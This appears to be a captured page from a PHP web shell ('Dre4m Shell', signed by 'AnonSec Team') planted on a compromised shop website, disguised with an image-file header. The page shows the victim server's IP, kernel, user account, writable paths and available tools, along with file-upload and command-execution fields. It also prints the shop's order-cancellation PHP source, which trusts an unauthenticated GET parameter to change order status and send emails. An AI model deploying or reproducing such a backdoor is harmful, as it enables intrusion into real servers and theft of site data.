ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/ODLDDD_2/CA/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/ODLDDD_2/CA/annule.php
<?php
$ref_com=$_GET['Ref'];
$id_cde = $ref_com * 1;  
 

/********************************************/

include_once("../includes/config.php");


// Enregistrement du statut de la commande
	$sql = $GLOBALS['bdd']->prepare('INSERT INTO order_status(id_order, date_status, status)
		VALUES (:order, :date_status, :status)');

	$sql->execute(array('order' => $id_cde,
						'date_status' => date('Y-m-d H:i:s'),
						'status' => 3));
//include('debit_stock.php');  

/*************************************************************/

   $thema = $GLOBALS['bdd']->query('SELECT * FROM info WHERE id = 1');
    $resulta = $thema->fetchAll();
	$shop_email_rappel = $resulta[0]['email_rappel'];
	$shop_title = $resulta[0]['title'];

  $sql = $bdd->query('SELECT title, url, email_contact FROM info
    WHERE id = 1');
  $infos = $sql->fetch();

  $sql = $bdd->prepare('SELECT id, date_insere, id_order, email FROM orders
    WHERE id = :order');
  $sql->execute(array('order' => $id_cde));
  $order = $sql->fetch();

/***********************************************************/

/////////////////////////////////////////////////////
	$msg ='
	<html lang="fr">
		<head>
			<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
		</head>
		<body>';
	                $msg .='<img src="https://www.litsolide.com/templates/shop/img/15408187700Logo_on.png" style="margin:10px;">';

		
          	$msg .='
				<h3 style="font-size:20px; padding:10px;">Suivi de votre commande</h3>
			<br />';

  $msg .= '
  Votre commmande du ' . strftime("%d/%m/%Y", strtotime($order['date_insere'])) . ' (Commande No ' . $order['id'] . ') a &eacute;t&eacute; mise &agrave; jour le ' . strftime("%d/%m/%Y ?%Hh%M", time()) . '. <br /><br />Son nouveau statut est d&eacute;ormais : ANNULE (paiement CB REFUSE)<b>"';
  
  $msg .= '<br /><br /><b>'.$infos['title'].'</b> vous remercie de votre confiance.<br /><br /><br /><br />';

  // Envoi message au client.
  require('../includes/phpmailer/class.phpmailer.php');

  $mail = new PHPMailer();
  $mail->IsMail();
  $mail->AddReplyTo($shop_email_rappel, $shop_title);
  $mail->AddAddress($order['email']);
  $mail->SetFrom($shop_email_rappel, $shop_title);
  $mail->Subject = "Suivi de votre commande depuis le site " . $shop_title;
  $mail->MsgHTML($msg);
  $mail->Send();






/**********************************************************/
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Annulation commande</title>
</head>
<body>
<div id="container" style="margin-top:5%">

<br />
<h1 align="center"><font color="#FF0000" size="5" face="Arial">Commande annulée 
!</span></font></h1>
<center><font size="5">Votre transaction a été refusée ou interrompue !<br>
</font>
<br />
<br />
		<form style="margin-top:10px;"method=POST action=../index.php >
					<p style="text-align: center">
					<button type="submit" class="validationButton" >
				<span><font size="4">Retour à la boutique</font></span>
				</button>
					</p>
				</form>
<br />
<br />
</div>
</body>
</html> 

Anon7 - 2022
AnonSec Team